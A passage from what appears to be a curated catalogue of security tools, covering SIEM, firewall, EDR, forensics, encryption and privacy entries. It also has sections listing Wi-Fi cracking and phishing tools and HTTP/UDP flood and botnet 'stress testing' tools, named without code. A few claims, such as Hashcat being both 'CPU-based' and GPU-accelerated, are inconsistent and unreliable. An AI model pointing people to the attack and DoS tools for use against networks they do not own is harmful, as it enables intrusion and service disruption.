🐙 Fluentd - Log collector and forwarder, not a SIEM. Gathers logs from many sources and routes them to other systems for processing, integrating cleanly with Elasticsearch, OpenSearch, Splunk, and Snowflake. Does not perform threat detection, correlation, or alerting, and has no storage layer. Highly efficient as a log ingestion component but requires pairing with a downstream SIEM for analysis.
🔬 Suricata - Network IDS/IPS providing deep packet inspection and network monitoring. Integrates with the Elastic Stack for SIEM by utilizing Elasticsearch for storing and querying logs, Filebeat for forwarding data, and Kibana for visualizing network security events. Generates real-time alerts based on detected anomalies or threats that can be forwarded to SIEM platforms for further processing.
🛡️ Snort - Widely deployed network intrusion detection system focused on network-based attacks including DDoS, stealth port scans, and OS fingerprinting. Generates alerts for downstream processing and integrates with Elasticsearch, Logstash, and Splunk for correlation. As a standalone tool it lacks log normalization, centralized storage, and response capabilities.
🐍 OSSEC - Open-source host-based intrusion detection system (HIDS) that collects and analyzes log data and offers some SIEM-adjacent capabilities, but lacks the management and analysis components expected of a full SIEM. Has been largely superseded by Wazuh, which is derived from OSSEC and continues active development.
🔎 SecurityOnion - Functions as both a SIEM and an intrusion detection system, integrating other open-source tools including Snort, Suricata, and Wazuh to provide comprehensive network and host monitoring and detection. Includes Wireshark for deep traffic analysis and NetworkMiner for packet capture and network investigation.
☁️ Google Security Operations (Chronicle SIEM) - Cloud service built on Google's core infrastructure for private retention, analysis, and search of large volumes of security and network telemetry. Normalizes, indexes, correlates, and analyzes data to provide rapid analytics and context for risky activity. In 2026, Google launched a unified rules interface bringing custom and curated rule management into a single workflow, with an advanced rule editor featuring inline error highlights and UDM field definitions on hover, plus a Rules API supporting AIP-160 compliant structured search and batch modifications across multiple rules in a single API request.
🔷 Microsoft Sentinel - Cloud-native SIEM with a new Data Lake providing cost-effective long-term storage in an open format, decoupling storage and compute for flexibility. UEBA anomaly detection now supports Check Point, Fortinet, Zscaler, and AWS GuardDuty findings, with ten new rules comparing each user and device against their own history and organization-wide activity to identify anomalous VPN logins, unusual high-risk web category access, security detection streaks on potentially compromised devices, and suspicious administrative changes. Playbook generation using AI is now generally available, creating Python-based automation workflows co-created through a conversational experience with Cline, an AI coding agent. Microsoft Sentinel in the Azure portal will be retired in July 2026, with all customers automatically redirected to the Defender portal.
🔶 Exabeam New-Scale Security Operations Platform - Cloud-native SIEM with AI-driven analytics and scalable architecture for real-time visibility across environments. New-Scale Analytics builds upon Exabeam Security Analytics with advanced multi-layer risk scoring and business factor adjustments, using machine learning and behavioral analytics to detect sophisticated threats like insider and credential-based attacks. New-Scale Fusion combines SIEM and Analytics with advanced threat detection, integrating UEBA and machine learning to identify risks, automate workflows, and provide actionable insights with seamless third-party integrations.
🔴 LogRhythm SIEM - Platform updates focused on security, performance, and stability. Version 7.23 updated Data-Indexer Java Corretto JRE to 8.0.472, Web-Indexer Java Corretto JDK to 21.0.9, .NET 8 Core to 8.0.22, Grafana to 12.3.0, and Go to 1.24.2 for Case API. CentOS 7 and RHEL 7 have reached end-of-life for Data Indexer support, with customers advised to upgrade to Rocky Linux or RHEL 9. The CrowdStrike Smart Response Plugin issue preventing endpoint connections has been resolved, and the SentinelOne processing policy now correctly parses the response field.
⚡ CrowdStrike Falcon Next-Gen SIEM - Positioned as a Leader in the IDC MarketScape Worldwide SIEM 2026 assessment. Leverages an index-free design powered by the Falcon LogScale engine, enabling lightning-fast searches across expansive retention windows. Native endpoints, identity, and cloud logs are piped directly without re-ingest fees, driving significant reduction in overall TCO. The Agentic SOC announced at Fal.Con 2026 includes coordinated investigations where Charlotte AI sends domain agents to work investigations in parallel, a shared context layer built on Enterprise Graph, certified data pipelines that can cut data storage costs by up to 50 percent, and Charlotte Agentic SOAR with configurable autonomy levels from human-in-the-loop approval to fully autonomous execution.

Firewall & Perimeter Security

🛡️ OPNsense - FreeBSD-based open-source firewall and routing platform that protects every device on the network, offering intrusion detection via Suricata, network-wide DNS filtering, VLAN segmentation for IoT isolation, and traffic reporting. Releases two major versions per year with weekly security updates, WireGuard integration, and API-based automation. The current series (26.1 "Witty Woodpecker") includes Suricata 8 in inline mode and expanded MVC/API firewall rule management.
🔥 pfSense - The most widely deployed open-source firewall with the largest community and extensive third-party documentation, built on FreeBSD with a browser-based management interface. Available in Community Edition (open source) and pfSense Plus (commercial). Known for extremely stable long-running installations and robust IPsec implementation, though some features are restricted to paid hardware tiers and CE receives security updates with delays compared to OPNsense.
🌐 IPFire - Hardened Linux firewall with a security-first philosophy, splitting networks into color-coded trust zones (LAN, DMZ, wireless, internet) so untrusted devices are contained by default configuration. Lighter than pfSense and OPNsense, easier to harden, and maintains a strong security patch delivery track record. Core Update 202 (May 2026) moved to OpenVPN 2.7 with Data Channel Offloading for faster VPN speeds and lower CPU usage, while Core Update 200 added IPFire DBL, a built-in domain blocklist.
🧱 Fortinet FortiGate - Recognized as a Leader in the 2026 Gartner Magic Quadrant for Hybrid Mesh Firewalls for the second consecutive year, ranking highest in Ability to Execute. Built on custom FortiASIC and a single FortiOS operating system spanning physical, virtual, cloud-native, and as-a-service deployments, with innovations in AI-driven operations, post-quantum cryptography (PQC), and multi-cloud orchestration. Offers SASE firewall convergence with cloud-delivered security and on-premises enforcement.
🔵 Palo Alto Networks Next-Generation Firewall - Recognized as a Leader in the Gartner Magic Quadrant for Network Firewalls, with PAN-OS software updates enhancing URL filtering, DNS security, IoT security, and threat prevention. The CEO describes SASE customers as "two-and-a-half-times more valuable" than firewall customers, with a unified sales strategy where every core rep sells full network security including zero trust and SASE. Cloud NGFW delivers best-in-class firewalls as a cloud-native service for AWS with pay-as-you-go pricing.
🔷 Check Point Quantum - The only vendor listed as a Leader in the Gartner Magic Quadrant for Network Firewalls for the 23rd time, positioned furthest on the Completeness of Vision axis. ThreatCloud provides real-time threat intelligence from hundreds of millions of sensors worldwide, with AI Deep Learning engines stopping 5 times more DNS attacks and 4 times more zero-day phishing vulnerabilities compared to signature-based technologies. Quantum Maestro appliances enable workload movement between data center and cloud.
☁️ AWS Network Firewall - Managed cloud-native firewall service that provides fine-grained control with a flexible rules engine supporting open-source Suricata rules for intrusion detection and prevention. Centrally managed across all AWS accounts with AWS Firewall Manager, offering managed infrastructure for high availability and simplified log management without the operational overhead of self-managed virtual appliances.
🧪 Suricata - Multi-threaded intrusion detection and prevention engine with signature-based rules, protocol analysis, and emerging threat detection, integrated directly into OPNsense as its IPS platform. Emphasizes high-speed security and traffic analysis, detecting complex threats like zero-day exploits and evasion techniques.
🛠️ Snort - Signature-based intrusion detection and prevention system using predefined rule sets to identify known threats based on patterns and behaviors, focusing on real-time packet inspection to identify and block malicious network traffic.
🔍 VyOS - Open-source network operating system providing routing alongside firewall features, using a command-line configuration model similar to Juniper or Cisco rather than a web-managed appliance interface. Suited for network engineers who need advanced routing capabilities combined with firewall functionality.
🐧 Portmaster - PC-based firewall suite from Safing that hooks into the network stack via a WFP kernel driver on Windows and nfqueue/eBPF on Linux, making every packet visible and stoppable. Provides a live scrolling list of every application's connections and destinations, intercepts stray DNS queries and reroutes them through DoT or DoH resolvers with filter lists to block ads, trackers, and phishing. Core firewall and filtering are free.
🪟 Fort Firewall - Windows-only open-source firewall built on the Windows Filtering Platform, providing app groups, wildcard path matching for folder-level blocking, and rate limiting. Excels at distinguishing individual services sharing svchost.exe, allowing one specific service to be blocked without disrupting the rest — a scenario where Windows Defender's default per-app approach fails.

Endpoint Security

🦅 CrowdStrike Falcon - The market leader in enterprise EDR and the platform that defined much of the modern category. Cloud-native architecture processes all endpoint telemetry in CrowdStrike's cloud, enabling real-time threat intelligence correlation across the entire customer base. The Falcon platform spans NGAV, full EDR, identity protection, threat intelligence, and managed detection and response (MDR) services. Counter Adversary Operations has made major contributions to understanding nation-state threat actors, particularly relevant for organizations facing geopolitical threats. Pricing typically runs US$15-20+ per endpoint per month for full Falcon Enterprise.
🔷 Microsoft Defender for Endpoint - Matured into a strong enterprise EDR platform, particularly compelling for organizations already using Microsoft 365. Included in Microsoft 365 E5 licensing or available standalone, it provides deep Windows integration that enables detection capabilities other vendors cannot match in pure Windows environments. Integration with Microsoft Sentinel, Entra ID, and Defender for Office 365 creates a coherent XDR architecture for Microsoft-heavy organizations. Many businesses on M365 Business Premium already have Defender for Endpoint included and may not realize it.
⚡ SentinelOne Singularity - The primary CrowdStrike competitor with a differentiating capability: autonomous response. Rather than requiring a human analyst to take action after an alert, SentinelOne's AI engine can automatically isolate infected devices, kill malicious processes, and roll back malware-induced changes in real time. The Storyline feature automatically builds a graphical representation of attack chains, linking related events across time to show the complete picture from initial access through to impact. This autonomous mode is particularly valuable for organizations with limited security staff who cannot maintain 24/7 SOC coverage. SentinelOne ranked as an Innovative provider in the ISG Buyers Guide for EDR Platforms 2026.
🛡️ Bitdefender GravityZone EDR - Winner of the Cybersecurity Stars Awards 2026 for Best Endpoint Detection and Response Platform. Its primary differentiator is alert quality achieved architecturally: in MITRE ATT&CK Evaluations Round 6, the platform generated just 3 alerts to identify and report an incident compared to an industry median of 209. AV-Comparatives' EDR Detection Validation Test 2026 confirmed this with an 81-to-1 compression ratio, consolidating 245 raw alerts into 3 actionable incidents. Process Protection combines Advanced Threat Control (300+ heuristics and 340 ML features) with kernel-mode Process Introspection that detects process hollowing, code injection, and unauthorized module loading without relying on bypassable user-mode hooks.
🔥 FortiEDR - Provides real-time, automated endpoint protection with collaborative incident response across workstations, servers, and cloud workloads, including full feature parity for manufacturing and OT systems. Rated Exemplary in the ISG Buyers Guide 2026 , it supports the broadest range of operating systems including legacy Windows XP SP2, Windows Server 2003, and multiple Linux distributions. FortiEDR claims to be the only endpoint solution capable of real-time detection and blocking of advanced threats even on already-compromised endpoints, with kernel-level AI/ML integration on Windows and Linux to block attacks before data loss or ransomware encryption occurs.
🎯 LMNTRIX Endpoint Security - Combines AI-driven prevention, Active EDR visibility, forensic investigation, and rapid containment in a single lightweight agent for Windows, macOS, and Linux. Static AI inspects files before execution while behavioral AI detects fileless attacks, exploits, malicious macros, and scripts. Ransomware activity is blocked before encryption begins. Reports 12x faster investigation and 98% reduction in alert volume through integration with the broader LMNTRIX XDR platform and analyst-led validation.
🏗️ Radegast EDR - Open-source and privacy-respecting EDR platform built with complete end-to-end encryption using age encryption, meaning log data remains private even from the server itself. The built-in SQLite database and self-contained deployment make it easy for smaller teams, home labbers, and families to get started without complex infrastructure. Features device management, configuration packs, encrypted log storage, team collaboration with zero-trust architecture, and agent distribution via the Rustinel eBPF sensor for Linux and Windows.
🦉 Owlyshield - Open-source EDR framework written in Rust for Linux and Windows servers, developed by SitinCloud. It analyzes how processes use files to detect intrusions through vulnerability exploitation, with particular focus on Command and Control, exfiltration, and impact tactics. The core concept learns normal behavior of applications and uses novelty detection to identify weak signals of attack. Includes pre-built ransomware protection using XGBoost on Windows, embedded novelty detection with autoencoders on Linux and IoT, and auto-configuration of SELinux to protect exposed applications.
🛡️ Sophos Intercept X - Ranked second overall in the ISG Buyers Guide for EDR Platforms 2026 and rated Exemplary. Market leader in endpoint security with 20.55% market share across 26,132 customers according to 6sense data. The platform combines deep learning neural networks with behavioral analysis, anti-ransomware capabilities, and an integrated XDR platform.
🔵 Palo Alto Networks Cortex XDR - Ranked third overall in the ISG Buyers Guide 2026 and rated Exemplary. Built by the firewall vendor with excellent network-endpoint correlation, Cortex XDR unifies endpoint, network, cloud, and identity data into a single detection and response platform. Particularly strong for organizations already using Palo Alto firewalls and requiring tight integration between network and endpoint security controls.
🔶 Trend Micro Vision One - Well-established regional vendor with strong APAC support, ranked as an Assurance provider in ISG's 2026 EDR evaluation. The platform includes Email and Collaboration Security, Identity Security, Network Security fed by Deep Discovery Inspector NDR, and Cyber Risk Exposure Management folding vulnerability management, attack-path prediction, and phishing simulation into one place. A Companion AI assistant sits across the console. Some capabilities carry Preview or Coming Soon labels, indicating the platform is mid-roadmap.
🟢 Cisco Secure Endpoint - Rated Innovative in the ISG Buyers Guide 2026, with Cisco achieving highest performance as a Leader in Product Experience. Provides endpoint protection tightly integrated with Cisco's broader security portfolio including SecureX and Umbrella, with strong threat intelligence from Talos.
🔷 WithSecure Elements XDR - Ranked as a Leader in Customer Experience in the ISG Buyers Guide 2026. Headquartered in Helsinki, Finland, the platform is well-suited for small and midsize organizations, especially those in Europe with data sovereignty requirements. WithSecure announced plans to make its offering available on AWS European Sovereign Cloud in Germany, addressing regulatory and operational sovereignty needs. The 2026 roadmap includes AI-augmented threat investigation, software inventory, patch management, and SaaS application discovery.
🟡 Kaspersky Endpoint Security - Rated Innovative in ISG's 2026 EDR evaluation. The platform has extended to space: Kaspersky Endpoint Security for Linux (KESL) Space Edition was developed for hosting provider RUVDS to protect the RUVDSSat1 satellite platform throughout its mission, demonstrating the platform's adaptability to extreme and specialized environments.
🔬 Qualys Endpoint Detection and Response - Rated Innovative in the ISG Buyers Guide 2026 and achieved Leader status in one category. Integrates tightly with Qualys' vulnerability management and compliance platform, making it attractive for organizations already using Qualys for security assessment.
🧪 Sentinel Antivirus - Lightweight open-source antivirus engine for Windows with YARA scanning, PE ML classifier, and kernel minifilter driver. Includes an interactive GUI dashboard, headless CLI scanner, and dynamic sandbox analysis with pure in-memory emulation under 100ms with zero host risk. The hybrid analysis mode runs fast emulation first and falls back to detonation if results are ambiguous. Ships with a 342-test unit suite and standalone binary builds for Windows, Linux, and macOS.

Incident Response

🦖 Velociraptor - Enterprise-scale incident response and hunting platform with 3,000+ GitHub stars, deploying agents across endpoints to execute VQL (Velociraptor Query Language) queries remotely and collect forensic artifacts at scale. Key capabilities include remote artifact collection without physical endpoint access, simultaneous querying across 10,000+ endpoints, continuous monitoring with automated alerting on suspicious artifacts, and built-in timeline analysis. Version 0.7.0 rewrote the client index for sub-second searches across 100k+ clients, added a paged collections view for heavily-collected endpoints, introduced the ntfs_vss accessor for automatic Volume Shadow Copy analysis with deduplication, and incorporated the SQLiteHunter artifact as a one-stop shop for browser and OS SQLite analysis. Version 0.7.1 added native Sigma rule support directly on endpoints without forwarding events to a central SIEM, plus an SSH/SCP accessor for investigating devices where agents cannot be installed.
🔬 Volatility 3 - The reference framework for memory forensics with 2,500+ GitHub stars, rewritten in Python 3 with a modular plugin architecture supporting Windows XP through 11, Server equivalents, and Linux 2.6.18 through latest kernels. Essential plugins include windows.pslist and windows.psscan for listing visible and hidden processes, windows.malfind for detecting in-memory code injection, windows.netscan for active network connections, windows.handles for open handles per process, and windows.cmdline for process command lines. The official parity release in May 2025 achieved full replacement capability for Volatility 2 in modern investigations, with generic output formats including aligned tables, CSV, JSON, and JSONL, consistent data extraction configuration across all plugins via --dump and -o options, and column-specific filtering for precise output.
🧰 KAPE (Kroll Artifact Parser and Extractor) - Windows-native triage tool for rapidly collecting forensic artifacts including registry hives, $MFT, event logs, prefetch, browser databases, and LNK files without triggering anti-tamper protections. Uses a two-phase architecture: Targets (.tkape files) define what to collect via raw NTFS file system access, while Modules (.mkape files) wrap external binaries like Eric Zimmerman's PECmd, MFTECmd, and RECmd to emit normalized CSV/JSON output. The !EZParser compound module runs the full EZ Tools suite against a collection. Supports Volume Shadow Copies via --vss for historical artifact recovery, VHDX/ZIP packaging with hashing for chain of custody, and batch-mode deployment across fleets via PSExec, EDR live response, or SOAR. Free with registration required.
💾 AVML (Acquire Volatile Memory for Linux) - Microsoft's static binary for acquiring memory on Linux systems during incident response, designed for environments where software installation is not possible. Generates dumps compatible with Volatility and LiME, with 700+ GitHub stars and active maintenance. Portable with no dependencies, making it ideal for IR where you need memory capture without touching the endpoint's package management or introducing persistent changes.
🐧 LiME (Linux Memory Extractor) - Linux kernel module for acquiring memory dumps, older than AVML but supporting additional formats and more kernel versions. With 1,700+ GitHub stars, it remains a standard tool for Linux memory acquisition in incident response engagements where kernel module loading is permitted.
🔍 GRR Rapid Response - Google's open-source incident response framework focused on remote live forensics, with a Python agent installed on target systems and server infrastructure managing client communication. Version 4.0.0 (December 2025) added capabilities for searching files by path, regex, and content matching; listing directories or full disk timelines; collecting files and OS primitives like devices and alternate data streams; enumerating processes and open network connections; and scanning process memory with YARA rules. Supports scheduled Hunts across fleets, with offline endpoints picking up hunts when reconnecting, and multi-party authorization for team-based investigations.
📊 Plaso / log2timeline - Super-timeline engine that extracts timestamps from dozens of sources including event logs, registry, filesystem, browser, and prefetch, unifying them into a single chronological timeline for reconstructing incident sequences. With 1,500+ GitHub stars, it serves as the data ingestion layer for Timesketch and other timeline analysis workflows.
✏️ Timesketch - Open-source collaborative forensic timeline analysis tool where analysts and collaborators organize timelines in "sketches," annotating raw data with rich comments, tags, and stars. Version 20260630 is available on PyPI with SHA-256 and BLAKE2b checksums for verified deployment. Originally developed at Google but not an official Google product, it enables simultaneous multi-analyst investigation of the same timeline data.
🧪 TheHive - Scalable security incident response platform with Docker images available through StrangeBee, with version 5.6.3-1 as the most recent stable tag. Integrates with Cortex analyzers for automated observable enrichment and MISP for threat intelligence sharing, providing case management, task tracking, and collaborative incident handling.
🎯 Cortex - Observable analysis and active response engine that pairs with TheHive for automated enrichment of IP addresses, domains, file hashes, and other indicators during incident response. Note: The "Cortex" at github.com/hurttlocker/cortex is an unrelated AI agent memory layer project and not the incident response Cortex analyzer platform.
🛡️ MISP - Open-source threat intelligence sharing platform for structured IOC and TTP exchange during incident response, with version 2.5.39 (June 2026) delivering a new dashboard experience, analyst-focused widgets, stronger STIX interoperability via misp-stix 2026.6.1, and security fixes. Version 2.4.202 and 2.5.4 added analyst data enhancements and operational stability improvements.
📤 Cyber Triage - Automated incident response tool for rapid triage of Windows endpoints, scoring threat indicators and identifying compromised hosts for prioritization. Rated 3.9/5 overall with strongest scores in deployment and usability (4.5/5), suited for organizations needing quick assessment without full forensic tooling deployment.
💿 Autopsy - Open-source disk forensics platform providing a complete GUI for analyzing E01, raw, and VHD disk images with modules for file carving, keyword search, timeline generation, hash matching, web artifacts, and email analysis. Positioned as the open-source alternative to EnCase and FTK for full disk forensic investigations.
🎯 Magnet AXIOM Cyber - DFIR platform for investigating cyber incidents across endpoints and cloud environments, supporting Windows, macOS, and Linux with cloud deployment on AWS and Azure. Features remote data collection from off-network endpoints, data visualization showing artifact connections, and VirusTotal integration for threat scoring . Supports mobile data through Magnet Verakey and other ecosystem tools.
🔬 EnCase - Enterprise and law enforcement forensic suite for court-admissible evidence handling with structured workflows, supporting Mac, Windows, and Linux investigation, Verakey mobile data extraction, remote data collection, optical character recognition for text extraction from images and PDFs, and AI/ML-powered content identification . Deployed on-premises or as managed solution for controlled environments.

Wireless Attacks

📡 Aircrack-ng - WiFi cracking suite
🛠️ Reaver - WPS attack tool
🧑‍💻 Fern WiFi Cracker - Wireless network auditing tool
🔓 Wifite - Automated wireless attack tool
🛡️ Kismet - Wireless network detector & sniffer
🌐 MDK3 - Wireless network attack tool
🎯 PixieWPS - WPS offline attack tool
🧠 WPA2 Wordlist Generator - Generate custom WPA2 wordlists
🕵️‍♂️ Bully - WPS attack tool for brute-forcing
🔄 Evil Twin - Create fake AP for capturing handshakes
🚀 WiFi-Pumpkin - Man-in-the-middle framework for Wi-Fi networks
🧩 Airgeddon - Multi-use bash script for wireless auditing
🧑‍💻 Ghost Phisher - Wireless network attack tool for phishing
🧑‍🔧 NoCatSplash - Captive portal for Wi-Fi networks
🦠 Wifiphisher - Phishing tool for Wi-Fi networks
📡 WLANPi - Wireless attack platform for pen-testers
🛠️ Cowpatty - Tool for offline WPA2 cracking
🌐 Scapy - Python tool for packet manipulation and analysis
📶 NetStumbler - Wi-Fi scanner for Windows
🔒 Wi-Fi Pineapple - Wireless attack platform by Hak5

Forensics Tools

🧑‍💻 Autopsy - Digital forensics platform for analyzing hard drives and smartphones.
🧠 Volatility - Memory forensics framework for analyzing RAM dumps.
🗂️ Binwalk - Firmware analysis tool for extracting embedded files.
🔍 Sleuth Kit (TSK) - Command-line tools for disk image investigation.
🧑‍💻 ExifTool - Metadata extractor for images, videos, and documents.
🗃️ TestDisk - Disk recovery tool to restore lost partitions.
🔄 PhotoRec - File recovery software for deleted files from disks.
🧑‍💻 Foremost - File carving tool for data recovery based on headers.
🔑 Hashdeep - File hashing tool with recursive hashing & audit mode.
🧑‍💻 Bulk Extractor - Extracts email, URLs, and other artifacts from raw data.
🗄️ Digital Forensics Framework (DFF) - Open-source platform for digital forensics.
🧑‍💻 Xplico - Network forensics tool to reconstruct network sessions.
🧑‍💻 NetworkMiner - Passive network packet analyzer for network forensics.
🧑‍💻 Pdf-parser - Analyze and extract content from PDF files.
🧑‍💻 RegRipper - Windows registry analysis tool.
🧑‍💻 PEView - Portable executable (PE) file viewer for malware analysis.
🧑‍💻 YARA - Malware pattern-matching tool used by researchers.
🧑‍💻 HxD - Hex editor for raw disk editing and analysis.
🧑‍💻 FTK Imager - Disk imaging and evidence preview tool.
🧑‍💻 Capstone - Disassembly framework for binary analysis.

Cryptography & Encryption

🔐 age - A simple, modern and secure file encryption tool, format, and Go library with small explicit keys, no config options, and UNIX-style composability. Supports X25519 recipients, SSH keys, passphrase encryption with auto-generated secure passphrases, and hybrid post-quantum keys via the -pq flag for protection against future quantum computer attacks.
🏗️ OpenXPKI - Enterprise-grade open-source PKI/trustcenter solution written in Perl, supporting CA rollover, multiple PKI realms in a single installation, hardware security modules (nCipher nShield, SafeNet Luna), threshold secret sharing, database backends including Oracle, SCEP for embedded device certificate enrollment, REST/SOAP interfaces, and a workflow engine for custom PKI processes.
🛡️ Dogtag Certificate System - Robust, scalable enterprise PKI solution managing the complete digital certificate lifecycle including creation, storage, distribution, and revocation. Features extreme flexibility in certificate profiles, workflows, and policies, with HSM integration via PKCS #11, multi-factor authentication, detailed audit logging, X.509/LDAP/PKCS #11 standards compliance, and multi-platform support.
🧰 Step CLI - Easy-to-use CLI tool for building, operating, and automating PKI systems. Provides step certificate for X.509 operations including creation, revocation, validation, linting, and trust store installation; step ca for ACMEv2-compliant CA administration; step crypto for JWTs, JWS, JWE, TOTP, NaCl, and KDFs (scrypt, bcrypt, argon2); and step ssh for SSH certificate management. Integrates with HSM/TPM/YubiKey through the step-kms-plugin.
🔒 GnuPG (GPG) - Complete OpenPGP implementation for digital encryption and signing services. GnuPG 2.x supports modern encryption algorithms including Kyber keys implemented as composite ECC keys (PQ/T hybrid) for post-quantum resistance. Features complete key management including export, import, list-keys with fingerprints, delete-key, export-secret-subkeys (with the option to render primary key useless), and --export-ssh-key for OpenSSH format conversion. Common operations include gpg -se -r Bob file for sign-and-encrypt, gpg --clear-sign file for cleartext signatures, and gpg --verify sigfile for detached signature verification.
🔓 OpenSSL - The de facto standard cryptographic toolkit providing a comprehensive command-line interface for symmetric ciphers (AES-128/192/256, ARIA, Blowfish, Camellia, CAST5, ChaCha20, DES/3DES, IDEA, RC2/4/5, SEED, SM4), message digest commands (BLAKE2, MD5, SHA-1, SHA-2, SHA-3, SHAKE, SM3), X.509 certificate verification and management, and Base64 encoding. Supports multiple cipher modes including CBC, CFB, CTR, ECB, and OFB for each algorithm.
💿 Tomb - Free and easy-to-operate desktop application for strong encryption of personal files using dm-crypt/cryptsetup with the aes-xts-plain64 cipher. Operates as a "locked folder" that can be transported and hidden in filesystems, requiring both a keyfile and a password to open. Keys can be kept separate (tomb on harddisk, key on USB stick), with steganography support for hiding keys inside JPEG/WAV files, bind hooks for automatic directory mounting, and post hooks for running commands on open/close.
🎨 GTKCrypto - GTK+ application for encrypting and signing files or text, supporting AES, Twofish, Serpent, and Camellia cipher algorithms with 256-bit keys in CBC or CTR mode. Also computes and compares MD5, SHA-1, SHA-2, SHA-3, GOST, and Whirlpool hashes for file integrity verification.
🔬 Quinto - CLI tool that automates hash cracking by identifying hash types using prefix matching, name-that-hash, and hashid, then orchestrating hashcat and John the Ripper through a sequence of attacks: wordlist → wordlist + rules → masks → EFF diceware passphrases. Handles password-protected files (.zip, .pdf, Office docs) by extracting hashes with John's *2john tools first, with session state saving for resume capability.
🧪 Hashcat - Advanced password recovery tool and the world's fastest CPU-based password cracker, supporting over 300 hash types including MD5 (-m 0), SHA-1 (-m 100), and SHA-256 (-m 1400). GPU-accelerated for massive throughput, widely used in CTF competitions and authorized penetration testing for credential recovery.
🔨 John the Ripper - Open-source password security auditing and recovery tool, handling hash formats that hashcat doesn't support and extracting hashes from protected files via *2john utilities. Includes gpg2john for converting GPG files to crackable format, with CPU performance tested at 1,120-1,508 MH/s for MD5 depending on configuration.
🧅 CyberChef - The "Cyber Swiss Army Knife" web application from GCHQ for encryption, encoding, compression, and data analysis. Provides a drag-and-drop interface for chaining operations including Base64, AES, RSA, hashing, and classical ciphers, with 36,000+ GitHub stars.
📚 Cryptii - Web-based modular conversion, encoding, and encryption tool supporting classical ciphers (Caesar, Vigenère, substitution, transposition), modern ciphers (AES, RSA), and various encoding schemes.
🔍 Dcode - Online cipher and code identification/decoding tool with extensive support for classical ciphers, modern cryptographic challenges, and CTF-oriented encoding analysis.

Privacy & Anonymity

🧅 Tor Browser - The gold standard for anonymous browsing, routing all traffic through the Tor network's three-relay onion routing architecture to prevent tracking and enable access to .onion sites. Includes NoScript, tracker blocking, and Letterboxing to standardize window sizes and prevent fingerprinting.
🦊 LibreWolf - Privacy-hardened Firefox fork with no telemetry, uBlock Origin pre-installed, DuckDuckGo as default search, and built-in DNS-over-HTTPS. Designed to resist fingerprinting and tracking out of the box, available for Windows, macOS, and Linux.
🦁 Brave - Chromium-based browser with built-in ad/tracker blocking and fingerprinting protection enabled by default. Includes optional Tor-powered private windows for casual anonymous sessions, though it doesn't match Tor Browser's deep anonymity guarantees.
🔒 Mullvad Browser - A collaborative project between Tor Project and Mullvad that provides Tor Browser's anti-fingerprinting protections without requiring the Tor network. Designed to be used alongside a VPN, it makes all users look identical to prevent profiling.
📡 Mullvad VPN - No-logs VPN with anonymous account numbers (no email required), cash payment support, and open-source clients. Audited by Cure53 and widely recommended for privacy-conscious users who want to pay anonymously.
🔐 Proton VPN - Swiss-based VPN from Proton AG with a strict no-logs policy, open-source apps, and a generous free tier. Part of the Proton privacy ecosystem alongside Proton Mail and Proton Drive.
🛡️ IVPN - Audited no-logs VPN with anonymous account identifiers, cash payment option, and customizable multi-hop routing. Known for minimalist design and transparent privacy practices.
🔑 Bitwarden - Open-source password manager with zero-knowledge encryption, supporting unlimited passwords and devices on the free tier. Available as hosted service or self-hosted via Vaultwarden.
🗝️ KeePassXC - Offline, cross-platform password manager storing everything locally in an encrypted database. No cloud dependency, no telemetry, and compatible with KeePassDX on Android.
💬 Signal - The gold standard for private messaging with end-to-end encryption, open-source clients, and a minimal metadata collection policy. Recommended by security professionals worldwide.
🗨️ Session - Decentralized messenger requiring no phone number or email, using onion routing for metadata protection. Built on the Oxen network for anonymous communication .
📧 Proton Mail - End-to-end encrypted email service based in Switzerland, with no personal information required to sign up. Part of the broader Proton privacy suite.
📨 Tutanota - German encrypted email service with open-source clients, offering a free tier and post-quantum encryption for future-proof security.
💾 VeraCrypt - Free open-source disk encryption software and successor to TrueCrypt, supporting full-disk encryption, hidden volumes, and plausible deniability.
🗂️ Cryptomator - Client-side encryption for cloud storage, encrypting files before they reach services like Google Drive, Dropbox, or OneDrive. Open-source and available on all major platforms.
🐧 Tails - Portable amnesic Linux distribution that runs from USB, routes all traffic through Tor, and leaves no trace on the host machine. Ideal for high-risk anonymous work sessions.
🔵 Whonix - Security-focused Linux distribution running inside a VM with a two-VM architecture: a Gateway VM routes all traffic through Tor while the Workstation VM never knows the real IP address.
📱 GrapheneOS - Privacy and security-hardened Android OS for Pixel devices, with no Google services by default and hardened memory allocator. Recommended for mobile privacy.
🧅 OnionShare - Open-source tool for securely and anonymously sharing files, hosting websites, and chatting over the Tor network. Creates temporary onion services that close after transfer.
🔍 DuckDuckGo - Privacy-focused search engine with no tracking, no search history, and no personal profiling. Available as web search and mobile browser.
🔎 SearXNG - Self-hosted privacy metasearch engine aggregating results from multiple sources without profiling users. Open-source and community-maintained.
📬 SimpleLogin - Email aliasing service that lets you create anonymous email addresses to protect your real address from spam and data breaches. Open-source and available as hosted or self-hosted.
🛡️ uBlock Origin - Efficient wide-spectrum content blocker with 47k+ GitHub stars. Blocks ads, trackers, and malware domains with minimal resource usage, available for all major browsers.
🚫 Privacy Badger - Automatic tracker blocker from the Electronic Frontier Foundation that learns which domains track you and blocks them without requiring configuration.
🔐 GnuPG (GPG) - Complete OpenPGP implementation for file encryption, email signing, and key management. Supports modern algorithms including Kyber hybrid post-quantum keys.
🧬 age - Modern command-line file encryption tool with small explicit keys, no config options, and UNIX-style composability. Supports post-quantum hybrid keys.
📦 7-Zip - Open-source file archiver with AES-256 encryption support, widely used for creating encrypted archives on Windows and cross-platform environments.
🖥️ Qubes OS - Security-focused desktop OS that compartmentalizes different activities into isolated VMs, preventing a compromise in one area from affecting others. Endorsed by Edward Snowden.

Stress Testing

🐌 Slowloris - HTTP DoS tool for keeping many connections open
🛰️ LOIC - Low Orbit Ion Cannon for stress testing
🐻 HULK - HTTP flood tool that makes use of varied requests
🦸 GoldenEye - Python-based HTTP denial-of-service tool
💨 Tsunami - Network stress testing and security evaluation
🛑 R-U-Dead-Yet - Simple DoS testing tool
🧯 DDoS-Sim - DDoS simulation tool
💥 Xerxes - Powerful DDoS attack tool for testing purposes
🎯 Web-Hulk - Web server stress testing tool
🚀 Synful - SYN flood tool for stress testing
💣 LOIC-PowerShell - PowerShell-based LOIC for DDoS testing
🌐 T50 - A powerful stress testing tool that simulates multiple attack vectors
🌪️ RIP-Lite - Lightweight stress testing tool for HTTP and SOCKS
🐉 Stress-ng - A tool that can stress test the CPU, RAM, I/O, and more
🛠️ XDT - DDoS testing tool with multi-protocol support
🥂 Botnet - DDoS botnet attack simulation tool
🔨 DDOS-Exploit - Exploit kit for DDoS stress testing
🛡️ Fudp - A multi-threaded UDP flooder for stress testing
⚡ BlackHAT - A stress testing framework for web applications

Compliance & Auditing

